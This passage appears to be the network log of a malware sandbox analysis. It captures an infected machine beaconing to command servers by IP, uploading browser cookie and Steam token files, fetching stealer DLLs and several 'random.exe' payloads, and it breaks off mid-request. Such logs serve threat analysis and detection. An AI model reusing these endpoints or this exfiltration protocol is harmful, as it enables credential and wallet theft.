2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 46 42 47 44 42 4b 4a 4a 4a 4b 46 49 49 49 4a 4a 2d 2d 0d 0a Data Ascii: ------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="token"11a0e7c2a88f9ff2a4094957cfefc1ae1f3951b92400edf1eb2b06d47fdacce46c03289d------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lXy50eHQ=------IDAAFBGDBKJJJKFIIIJJContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IDAAFBGDBKJJJKFIIIJJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDGDGDHDGDBFIDHDBAFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 31 61 30 65 37 63 32 61 38 38 66 39 66 66 32 61 34 30 39 34 39 35 37 63 66 65 66 63 31 61 65 31 66 33 39 35 31 62 39 32 34 30 30 65 64 66 31 65 62 32 62 30 36 64 34 37 66 64 61 63 63 65 34 36 63 30 33 32 38 39 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 46 2d 2d 0d 0a Data Ascii: ------KJDGDGDHDGDBFIDHDBAFContent-Disposition: form-data; name="token"11a0e7c2a88f9ff2a4094957cfefc1ae1f3951b92400edf1eb2b06d47fdacce46c03289d------KJDGDGDHDGDBFIDHDBAFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KJDGDGDHDGDBFIDHDBAFContent-Disposition: form-data; name="file"------KJDGDGDHDGDBFIDHDBAF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDGDGDHDGDBFIDHDBAFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 31 61 30 65 37 63 32 61 38 38 66 39 66 66 32 61 34 30 39 34 39 35 37 63 66 65 66 63 31 61 65 31 66 33 39 35 31 62 39 32 34 30 30 65 64 66 31 65 62 32 62 30 36 64 34 37 66 64 61 63 63 65 34 36 63 30 33 32 38 39 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 44 47 44 47 44 48 44 47 44 42 46 49 44 48 44 42 41 46 2d 2d 0d 0a Data Ascii: ------KJDGDGDHDGDBFIDHDBAFContent-Disposition: form-data; name="token"11a0e7c2a88f9ff2a4094957cfefc1ae1f3951b92400edf1eb2b06d47fdacce46c03289d------KJDGDGDHDGDBFIDHDBAFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KJDGDGDHDGDBFIDHDBAFContent-Disposition: form-data; name="file"------KJDGDGDHDGDBFIDHDBAF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIEHJDBKJKECBFHDGHJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 31 61 30 65 37 63 32 61 38 38 66 39 66 66 32 61 34 30 39 34 39 35 37 63 66 65 66 63 31 61 65 31 66 33 39 35 31 62 39 32 34 30 30 65 64 66 31 65 62 32 62 30 36 64 34 37 66 64 61 63 63 65 34 36 63 30 33 32 38 39 64 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 4a 2d 2d 0d 0a Data Ascii: ------FIIEHJDBKJKECBFHDGHJContent-Disposition: form-data; name="token"11a0e7c2a88f9ff2a4094957cfefc1ae1f3951b92400edf1eb2b06d47fdacce46c03289d------FIIEHJDBKJKECBFHDGHJContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FIIEHJDBKJKECBFHDGHJContent-Disposition: form-data; name="file"------FIIEHJDBKJKECBFHDGHJ--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIJEBAECGCBKECAAAEBFHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJEBGHIEBFIJKECBKFHDHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 31 61 30 65 37 63 32 61 38 38 66 39 66 66 32 61 34 30 39 34 39 35 37 63 66 65 66 63 31 61 65 31 66 33 39 35 31 62 39 32 34 30 30 65 64 66 31 65 62 32 62 30 36 64 34 37 66 64 61 63 63 65 34 36 63 30 33 32 38 39 64 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 2d 2d 0d 0a Data Ascii: ------HJEBGHIEBFIJKECBKFHDContent-Disposition: form-data; name="token"11a0e7c2a88f9ff2a4094957cfefc1ae1f3951b92400edf1eb2b06d47fdacce46c03289d------HJEBGHIEBFIJKECBKFHDContent-Disposition: form-data; name="message"wallets------HJEBGHIEBFIJKECBKFHD--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJECGDGCBKECAKFBGCAHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 31 61 30 65 37 63 32 61 38 38 66 39 66 66 32 61 34 30 39 34 39 35 37 63 66 65 66 63 31 61 65 31 66 33 39 35 31 62 39 32 34 30 30 65 64 66 31 65 62 32 62 30 36 64 34 37 66 64 61 63 63 65 34 36 63 30 33 32 38 39 64 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 41 2d 2d 0d 0a Data Ascii: ------GIJECGDGCBKECAKFBGCAContent-Disposition: form-data; name="token"11a0e7c2a88f9ff2a4094957cfefc1ae1f3951b92400edf1eb2b06d47fdacce46c03289d------GIJECGDGCBKECAKFBGCAContent-Disposition: form-data; name="message"files------GIJECGDGCBKECAKFBGCA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHIDHIEGIIIECAKEBFBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 31 61 30 65 37 63 32 61 38 38 66 39 66 66 32 61 34 30 39 34 39 35 37 63 66 65 66 63 31 61 65 31 66 33 39 35 31 62 39 32 34 30 30 65 64 66 31 65 62 32 62 30 36 64 34 37 66 64 61 63 63 65 34 36 63 30 33 32 38 39 64 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 2d 2d 0d 0a Data Ascii: ------GDHIDHIEGIIIECAKEBFBContent-Disposition: form-data; name="token"11a0e7c2a88f9ff2a4094957cfefc1ae1f3951b92400edf1eb2b06d47fdacce46c03289d------GDHIDHIEGIIIECAKEBFBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GDHIDHIEGIIIECAKEBFBContent-Disposition: form-data; name="file"------GDHIDHIEGIIIECAKEBFB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECFHJKEBAAECBFHIECGIHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 31 61 30 65 37 63 32 61 38 38 66 39 66 66 32 61 34 30 39 34 39 35 37 63 66 65 66 63 31 61 65 31 66 33 39 35 31 62 39 32 34 30 30 65 64 66 31 65 62 32 62 30 36 64 34 37 66 64 61 63 63 65 34 36 63 30 33 32 38 39 64 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 4a 4b 45 42 41 41 45 43 42 46 48 49 45 43 47 49 2d 2d 0d 0a Data Ascii: ------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="token"11a0e7c2a88f9ff2a4094957cfefc1ae1f3951b92400edf1eb2b06d47fdacce46c03289d------ECFHJKEBAAECBFHIECGIContent-Disposition: form-data; name="message"ybncbhylepme------ECFHJKEBAAECBFHIECGI--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKFBAKFCBFHIJJJJDBFCHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 31 61 30 65 37 63 32 61 38 38 66 39 66 66 32 61 34 30 39 34 39 35 37 63 66 65 66 63 31 61 65 31 66 33 39 35 31 62 39 32 34 30 30 65 64 66 31 65 62 32 62 30 36 64 34 37 66 64 61 63 63 65 34 36 63 30 33 32 38 39 64 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 2d 2d 0d 0a Data Ascii: ------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="token"11a0e7c2a88f9ff2a4094957cfefc1ae1f3951b92400edf1eb2b06d47fdacce46c03289d------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BKFBAKFCBFHIJJJJDBFC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 35 38 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013581001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 35 38 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013582001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 35 38 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013583001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGHCBKKKFHCGCBFIJEHDHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 48 43 42 4b 4b 4b 46 48 43 47 43 42 46 49 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 33 36 36 34 45 38 38 38 32 38 37 32 35 35 36 31 33 34 35 35 39 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 42 4b 4b 4b 46 48 43 47 43 42 46 49 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 42 4b 4b 4b 46 48 43 47 43 42 46 49 4a 45 48 44 2d 2d 0d 0a Data Ascii: ------EGHCBKKKFHCGCBFIJEHDContent-Disposition: form-data; name="hwid"B3664E8882872556134559------EGHCBKKKFHCGCBFIJEHDContent-Disposition: form-data; name="build"stok------EGHCBKKKFHCGCBFIJEHD--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 35 38 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013584001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 35 38 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013585001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKEGIIJDGHCAKFHJEHCFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 47 49 49 4a 44 47 48 43 41 4b 46 48 4a 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 33 36 36 34 45 38 38 38 32 38 37 32 35 35 36 31 33 34 35 35 39 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 49 49 4a 44 47 48 43 41 4b 46 48 4a 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 47 49 49 4a 44 47 48 43 41 4b 46 48 4a 45 48 43 46 2d 2d 0d 0a Data Ascii: ------AKEGIIJDGHCAKFHJEHCFContent-Disposition: form-data; name="hwid"B3664E8882872556134559------AKEGIIJDGHCAKFHJEHCFContent-Disposition: form-data; name="build"stok------AKEGIIJDGHCAKFHJEHCF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 41 37 33 42 36 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52A73B65E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCGIJDHDGDBGDGCGCFHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 33 36 36 34 45 38 38 38 32 38 37 32 35 35 36 31 33 34 35 35 39 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 